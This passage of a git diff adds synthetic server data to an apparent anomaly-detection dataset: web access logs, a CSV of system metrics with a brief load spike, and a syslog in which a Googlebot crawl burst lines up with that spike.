Chrome/108.0.0.0 Safari/537.36" +192.168.1.171 - - [02/Jul/2025:12:00:00 +0000] "GET /article/_5.html HTTP/1.1" 200 23872 "http://example.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.111 - - [02/Jul/2025:12:00:05 +0000] "GET /article/_49.html HTTP/1.1" 304 15110 "http://example.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.111 - - [02/Jul/2025:12:00:10 +0000] "GET /article/_2.html HTTP/1.1" 200 15353 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.188 - - [02/Jul/2025:12:00:10 +0000] "GET /article/_24.html HTTP/1.1" 304 3808 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.108 - - [02/Jul/2025:12:00:15 +0000] "GET /article/_23.html HTTP/1.1" 304 9937 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.118 - - [02/Jul/2025:12:00:20 +0000] "GET /article/_44.html HTTP/1.1" 200 20802 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.100 - - [02/Jul/2025:12:00:20 +0000] "GET /article/_48.html HTTP/1.1" 304 1464 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.123 - - [02/Jul/2025:12:00:25 +0000] "GET /article/_28.html HTTP/1.1" 304 2807 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.111 - - [02/Jul/2025:12:00:30 +0000] "GET /article/_10.html HTTP/1.1" 304 17755 "http://example.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.116 - - [02/Jul/2025:12:00:30 +0000] "GET /article/_48.html HTTP/1.1" 304 20602 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.183 - - [02/Jul/2025:12:00:35 +0000] "GET /article/_9.html HTTP/1.1" 304 17277 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.151 - - [02/Jul/2025:12:00:35 +0000] "GET /article/_10.html HTTP/1.1" 200 24710 "http://example.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.138 - - [02/Jul/2025:12:00:40 +0000] "GET /article/_17.html HTTP/1.1" 200 24751 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.119 - - [02/Jul/2025:12:00:45 +0000] "GET /article/_19.html HTTP/1.1" 304 24126 "http://example.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.123 - - [02/Jul/2025:12:00:45 +0000] "GET /article/_1.html HTTP/1.1" 304 8701 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.106 - - [02/Jul/2025:12:00:50 +0000] "GET /article/_24.html HTTP/1.1" 200 16133 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.144 - - [02/Jul/2025:12:00:50 +0000] "GET /article/_37.html HTTP/1.1" 200 17869 "http://example.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.162 - - [02/Jul/2025:12:00:55 +0000] "GET /article/_32.html HTTP/1.1" 304 20829 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.116 - - [02/Jul/2025:12:00:55 +0000] "GET /article/_38.html HTTP/1.1" 304 19968 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.167 - - [02/Jul/2025:12:01:00 +0000] "GET /article/_31.html HTTP/1.1" 304 15970 "http://example.com" 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- - [02/Jul/2025:12:01:10 +0000] "GET /article/_27.html HTTP/1.1" 304 8107 "http://example.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.178 - - [02/Jul/2025:12:01:10 +0000] "GET /article/_50.html HTTP/1.1" 304 21827 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.185 - - [02/Jul/2025:12:01:15 +0000] "GET /article/_42.html HTTP/1.1" 200 19769 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.162 - - [02/Jul/2025:12:01:20 +0000] "GET /article/_42.html HTTP/1.1" 200 11552 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.108 - - [02/Jul/2025:12:01:20 +0000] "GET /article/_17.html HTTP/1.1" 200 15633 "http://example.com" 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"http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.144 - - [02/Jul/2025:12:06:35 +0000] "GET /article/_8.html HTTP/1.1" 200 20968 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.137 - - [02/Jul/2025:12:06:40 +0000] "GET /article/_5.html HTTP/1.1" 304 7029 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.106 - - [02/Jul/2025:12:06:45 +0000] "GET /article/_37.html HTTP/1.1" 304 18064 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.167 - - [02/Jul/2025:12:06:45 +0000] "GET /article/_12.html HTTP/1.1" 304 17730 "http://example.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, 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"GET /article/_1.html HTTP/1.1" 304 8525 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.125 - - [02/Jul/2025:12:06:55 +0000] "GET /article/_1.html HTTP/1.1" 200 7681 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.199 - - [02/Jul/2025:12:06:55 +0000] "GET /article/_33.html HTTP/1.1" 304 22455 "http://example.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.179 - - [02/Jul/2025:12:07:00 +0000] "GET /article/_2.html HTTP/1.1" 304 15172 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.133 - - [02/Jul/2025:12:07:00 +0000] "GET /article/_36.html HTTP/1.1" 304 2903 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.105 - - [02/Jul/2025:12:07:05 +0000] "GET /article/_41.html HTTP/1.1" 304 14138 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.176 - - [02/Jul/2025:12:07:05 +0000] "GET /article/_26.html HTTP/1.1" 304 6685 "http://example.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.164 - - [02/Jul/2025:12:07:10 +0000] "GET /article/_27.html HTTP/1.1" 200 8273 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.131 - - [02/Jul/2025:12:07:10 +0000] "GET /article/_2.html HTTP/1.1" 200 8714 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.103 - - [02/Jul/2025:12:07:10 +0000] "GET /article/_4.html HTTP/1.1" 200 15408 "http://example.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.157 - - [02/Jul/2025:12:07:15 +0000] "GET /article/_28.html HTTP/1.1" 304 23605 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.129 - - [02/Jul/2025:12:07:15 +0000] "GET /article/_36.html HTTP/1.1" 200 2364 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.182 - - [02/Jul/2025:12:07:15 +0000] "GET /article/_43.html HTTP/1.1" 304 1846 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.162 - - [02/Jul/2025:12:07:20 +0000] "GET /article/_13.html HTTP/1.1" 304 5227 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.145 - - [02/Jul/2025:12:07:20 +0000] "GET /article/_47.html HTTP/1.1" 200 6421 "http://example.com" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.154 - - [02/Jul/2025:12:07:25 +0000] "GET /article/_11.html HTTP/1.1" 304 13596 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +192.168.1.112 - - [02/Jul/2025:12:07:25 +0000] "GET /article/_16.html HTTP/1.1" 200 17034 "http://example.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" diff --git a/norm_dataset/scenario_8/norm_8_18.csv b/norm_dataset/scenario_8/norm_8_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..62f47d3171ac57db53d8c5d4519f88b16d77886a --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,13.35,41.78,30.24,1.49,1.13 +2025-07-02T12:00:05Z,18.87,45.81,37.34,1.05,1.6 +2025-07-02T12:00:10Z,19.24,49.11,38.13,1.7,1.29 +2025-07-02T12:00:15Z,15.5,42.99,31.64,1.68,1.31 +2025-07-02T12:00:20Z,14.95,42.3,22.79,1.24,1.42 +2025-07-02T12:00:25Z,19.09,49.55,29.67,1.09,1.47 +2025-07-02T12:00:30Z,16.88,42.41,26.95,1.12,1.97 +2025-07-02T12:00:35Z,12.63,40.52,32.78,1.68,1.22 +2025-07-02T12:00:40Z,15.2,47.17,22.18,1.64,1.38 +2025-07-02T12:00:45Z,10.17,41.84,31.05,1.73,1.88 +2025-07-02T12:00:50Z,13.82,47.62,23.62,1.98,1.64 +2025-07-02T12:00:55Z,15.12,44.12,26.79,1.33,1.84 +2025-07-02T12:01:00Z,11.37,45.85,25.09,1.2,1.63 +2025-07-02T12:01:05Z,17.85,45.51,35.07,1.94,1.77 +2025-07-02T12:01:10Z,18.92,41.69,33.43,1.8,1.65 +2025-07-02T12:01:15Z,15.44,41.07,22.83,1.08,1.57 +2025-07-02T12:01:20Z,17.78,48.62,33.59,1.25,1.48 +2025-07-02T12:01:25Z,19.76,41.41,29.54,1.04,1.32 +2025-07-02T12:01:30Z,19.44,45.4,23.57,1.25,1.55 +2025-07-02T12:01:35Z,14.35,41.12,25.34,1.08,1.25 +2025-07-02T12:01:40Z,15.95,41.73,37.9,1.84,1.29 +2025-07-02T12:01:45Z,10.98,47.01,39.26,1.36,1.45 +2025-07-02T12:01:50Z,13.96,44.38,23.94,1.04,1.47 +2025-07-02T12:01:55Z,16.3,47.79,25.77,1.55,1.49 +2025-07-02T12:02:00Z,19.56,49.17,37.84,1.54,1.02 +2025-07-02T12:02:05Z,18.95,44.86,25.5,1.17,1.84 +2025-07-02T12:02:10Z,16.18,48.69,33.63,1.11,1.12 +2025-07-02T12:02:15Z,18.33,40.28,29.92,1.71,1.9 +2025-07-02T12:02:20Z,13.88,48.74,25.89,1.52,1.29 +2025-07-02T12:02:25Z,11.97,48.36,31.07,1.66,1.64 +2025-07-02T12:02:30Z,80.04,47.08,78.64,56.26,67.45 +2025-07-02T12:02:35Z,84.82,43.27,89.92,54.3,50.37 +2025-07-02T12:02:40Z,83.07,45.37,89.62,55.14,68.52 +2025-07-02T12:02:45Z,81.42,46.14,88.71,51.12,57.84 +2025-07-02T12:02:50Z,80.74,49.46,76.58,57.91,45.3 +2025-07-02T12:02:55Z,83.09,41.05,77.83,78.57,50.71 +2025-07-02T12:03:00Z,70.27,40.55,71.27,67.12,59.52 +2025-07-02T12:03:05Z,87.38,40.97,74.3,66.03,46.89 +2025-07-02T12:03:10Z,75.52,40.15,86.61,55.3,65.65 +2025-07-02T12:03:15Z,72.86,48.65,71.75,75.6,57.76 +2025-07-02T12:03:20Z,83.32,45.54,82.96,50.08,57.87 +2025-07-02T12:03:25Z,86.75,42.41,77.36,72.25,50.43 +2025-07-02T12:03:30Z,89.78,41.54,83.7,67.66,47.14 +2025-07-02T12:03:35Z,85.25,44.2,77.5,76.85,58.21 +2025-07-02T12:03:40Z,73.92,41.32,86.19,60.92,63.56 +2025-07-02T12:03:45Z,75.88,44.55,85.45,64.63,65.39 +2025-07-02T12:03:50Z,81.33,40.46,72.97,58.73,59.44 +2025-07-02T12:03:55Z,72.54,45.9,80.67,59.63,51.95 +2025-07-02T12:04:00Z,80.31,48.56,85.29,72.7,55.15 +2025-07-02T12:04:05Z,77.96,41.38,74.44,71.22,49.08 +2025-07-02T12:04:10Z,72.68,45.08,78.64,50.2,64.54 +2025-07-02T12:04:15Z,73.53,46.49,72.18,70.24,54.94 +2025-07-02T12:04:20Z,76.65,40.23,78.29,71.41,68.5 +2025-07-02T12:04:25Z,82.64,43.59,77.62,58.21,64.37 +2025-07-02T12:04:30Z,78.38,45.97,70.24,64.26,45.69 +2025-07-02T12:04:35Z,87.2,44.05,79.78,52.82,44.72 +2025-07-02T12:04:40Z,76.67,46.86,72.28,53.69,52.64 +2025-07-02T12:04:45Z,86.53,48.34,79.28,79.61,44.29 +2025-07-02T12:04:50Z,85.84,48.35,83.51,66.44,59.7 +2025-07-02T12:04:55Z,73.94,41.15,83.84,58.65,59.74 +2025-07-02T12:05:00Z,15.02,40.4,23.27,1.68,1.42 +2025-07-02T12:05:05Z,17.34,43.61,21.58,1.76,1.14 +2025-07-02T12:05:10Z,15.07,41.7,31.58,1.21,1.8 +2025-07-02T12:05:15Z,12.6,48.53,35.53,1.38,1.5 +2025-07-02T12:05:20Z,17.7,45.14,36.81,1.19,1.08 +2025-07-02T12:05:25Z,15.08,45.64,27.72,1.07,1.03 +2025-07-02T12:05:30Z,11.72,44.59,38.21,1.64,1.02 +2025-07-02T12:05:35Z,15.03,47.21,39.84,1.83,1.48 +2025-07-02T12:05:40Z,16.09,47.01,37.95,1.18,1.28 +2025-07-02T12:05:45Z,16.6,41.87,23.15,1.32,1.44 +2025-07-02T12:05:50Z,17.25,46.47,36.18,1.61,1.16 +2025-07-02T12:05:55Z,19.5,45.68,34.52,1.76,1.5 +2025-07-02T12:06:00Z,10.23,49.69,33.62,1.57,1.69 +2025-07-02T12:06:05Z,15.36,43.61,24.8,1.91,1.06 +2025-07-02T12:06:10Z,17.4,47.37,37.7,1.17,1.68 +2025-07-02T12:06:15Z,19.54,49.08,36.25,1.31,1.97 +2025-07-02T12:06:20Z,16.64,43.02,26.08,1.81,1.85 +2025-07-02T12:06:25Z,11.8,42.99,26.02,1.55,1.94 +2025-07-02T12:06:30Z,14.82,45.71,28.7,1.22,1.24 +2025-07-02T12:06:35Z,15.29,48.89,38.7,1.57,1.18 +2025-07-02T12:06:40Z,17.64,46.83,37.65,1.73,1.38 +2025-07-02T12:06:45Z,13.72,40.61,39.79,1.85,1.45 +2025-07-02T12:06:50Z,14.96,47.32,27.32,1.61,1.95 +2025-07-02T12:06:55Z,12.18,40.05,26.76,1.46,1.83 +2025-07-02T12:07:00Z,11.45,47.33,35.81,1.59,1.0 +2025-07-02T12:07:05Z,19.68,46.53,38.62,1.51,1.59 +2025-07-02T12:07:10Z,19.45,41.47,38.64,1.64,1.83 +2025-07-02T12:07:15Z,19.79,47.89,39.88,1.59,1.27 +2025-07-02T12:07:20Z,19.0,44.71,21.13,1.55,1.52 +2025-07-02T12:07:25Z,15.0,43.57,27.34,1.61,1.6 diff --git a/norm_dataset/scenario_8/norm_8_18.log b/norm_dataset/scenario_8/norm_8_18.log new file mode 100644 index 0000000000000000000000000000000000000000..fb971963e18017d1498c0ab2421f9ea26ee8cdbd --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_18.log @@ -0,0 +1,646 @@ +Jul 02 12:00:15 web-server: 192.168.1.116 - - [02/Jul/2025:12:00:15 ] "GET /api/v1/user/6 HTTP/1.1" 200 835 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" +Jul 02 12:00:25 web-server: 192.168.1.118 - - [02/Jul/2025:12:00:25 ] "GET /api/v1/user/9 HTTP/1.1" 200 948 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:00:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:30 web-server: 192.168.1.102 - - [02/Jul/2025:12:00:30 ] "GET /api/v1/user/29 HTTP/1.1" 200 525 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36" +Jul 02 12:00:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:35 web-server: 192.168.1.113 - - [02/Jul/2025:12:00:35 ] "GET /api/v1/user/23 HTTP/1.1" 200 1008 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:00:35 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:45 web-server: 192.168.1.104 - - [02/Jul/2025:12:00:45 ] "GET /api/v1/user/48 HTTP/1.1" 200 837 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:55 web-server: 192.168.1.108 - - [02/Jul/2025:12:00:55 ] "GET /api/v1/user/40 HTTP/1.1" 200 656 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" +Jul 02 12:01:15 web-server: 192.168.1.100 - - [02/Jul/2025:12:01:15 ] "GET /api/v1/user/42 HTTP/1.1" 200 651 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" +Jul 02 12:01:20 web-server: 192.168.1.104 - - [02/Jul/2025:12:01:20 ] "GET /api/v1/user/33 HTTP/1.1" 200 757 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" +Jul 02 12:01:50 web-server: 192.168.1.118 - - [02/Jul/2025:12:01:50 ] "GET /api/v1/user/33 HTTP/1.1" 200 1324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +Jul 02 12:02:25 web-server: 192.168.1.114 - - [02/Jul/2025:12:02:25 ] "GET /api/v1/user/38 HTTP/1.1" 200 610 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0" +Jul 02 12:02:30 web-server: 66.249.66.18 - - [02/Jul/2025:12:02:30 ] "GET /products/page/218 HTTP/1.1" 200 3833 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.4 - - [02/Jul/2025:12:02:30 ] "GET /products/page/278 HTTP/1.1" 200 3914 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.10 - - [02/Jul/2025:12:02:30 ] "GET /products/page/376 HTTP/1.1" 200 3904 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.17 - - [02/Jul/2025:12:02:30 ] "GET /products/page/754 HTTP/1.1" 200 2011 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.16 - - [02/Jul/2025:12:02:30 ] "GET /products/page/739 HTTP/1.1" 200 4250 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.19 - - [02/Jul/2025:12:02:30 ] "GET /products/page/741 HTTP/1.1" 200 3830 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.6 - - [02/Jul/2025:12:02:30 ] "GET /products/page/1 HTTP/1.1" 200 4687 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.18 - - [02/Jul/2025:12:02:30 ] "GET /products/page/560 HTTP/1.1" 200 3170 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.7 - - [02/Jul/2025:12:02:30 ] "GET /products/page/424 HTTP/1.1" 200 4512 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.6 - - [02/Jul/2025:12:02:30 ] "GET /products/page/894 HTTP/1.1" 200 3053 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.8 - - [02/Jul/2025:12:02:30 ] "GET /products/page/684 HTTP/1.1" 200 3229 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.1 - - [02/Jul/2025:12:02:30 ] "GET /products/page/587 HTTP/1.1" 200 4674 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.14 - - [02/Jul/2025:12:02:30 ] "GET /products/page/498 HTTP/1.1" 200 2243 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.2 - - [02/Jul/2025:12:02:30 ] "GET /products/page/773 HTTP/1.1" 200 3319 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.3 - - [02/Jul/2025:12:02:30 ] "GET /products/page/77 HTTP/1.1" 200 2906 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.15 - - [02/Jul/2025:12:02:30 ] "GET /products/page/260 HTTP/1.1" 200 3838 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.5 - - [02/Jul/2025:12:02:30 ] "GET /products/page/930 HTTP/1.1" 200 2006 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.4 - - [02/Jul/2025:12:02:30 ] "GET /products/page/282 HTTP/1.1" 200 4510 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.2 - - [02/Jul/2025:12:02:30 ] "GET /products/page/578 HTTP/1.1" 200 3427 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.6 - - [02/Jul/2025:12:02:30 ] "GET /products/page/948 HTTP/1.1" 200 3763 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.1 - - [02/Jul/2025:12:02:30 ] "GET /products/page/223 HTTP/1.1" 200 3541 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:30 web-server: 66.249.66.15 - - [02/Jul/2025:12:02:30 ] "GET /products/page/703 HTTP/1.1" 200 4110 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.13 - - [02/Jul/2025:12:02:35 ] "GET /products/page/933 HTTP/1.1" 200 3468 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.9 - - [02/Jul/2025:12:02:35 ] "GET /products/page/474 HTTP/1.1" 200 2743 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.14 - - [02/Jul/2025:12:02:35 ] "GET /products/page/571 HTTP/1.1" 200 4843 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.3 - - [02/Jul/2025:12:02:35 ] "GET /products/page/650 HTTP/1.1" 200 4942 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.19 - - [02/Jul/2025:12:02:35 ] "GET /products/page/247 HTTP/1.1" 200 3231 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.16 - - [02/Jul/2025:12:02:35 ] "GET /products/page/762 HTTP/1.1" 200 2224 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.6 - - [02/Jul/2025:12:02:35 ] "GET /products/page/851 HTTP/1.1" 200 4155 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.18 - - [02/Jul/2025:12:02:35 ] "GET /products/page/809 HTTP/1.1" 200 3131 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.13 - - [02/Jul/2025:12:02:35 ] "GET /products/page/504 HTTP/1.1" 200 2853 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.1 - - [02/Jul/2025:12:02:35 ] "GET /products/page/73 HTTP/1.1" 200 4350 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.13 - - [02/Jul/2025:12:02:35 ] "GET /products/page/734 HTTP/1.1" 200 2783 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.3 - - [02/Jul/2025:12:02:35 ] "GET /products/page/13 HTTP/1.1" 200 2828 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.17 - - [02/Jul/2025:12:02:35 ] "GET /products/page/628 HTTP/1.1" 200 2834 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Jul 02 12:02:35 web-server: 66.249.66.8 - - [02/Jul/2025:12:02:35 ] "GET /products/page/489 HTTP/1.1" 200 4655 "-" "Googlebot/2.1 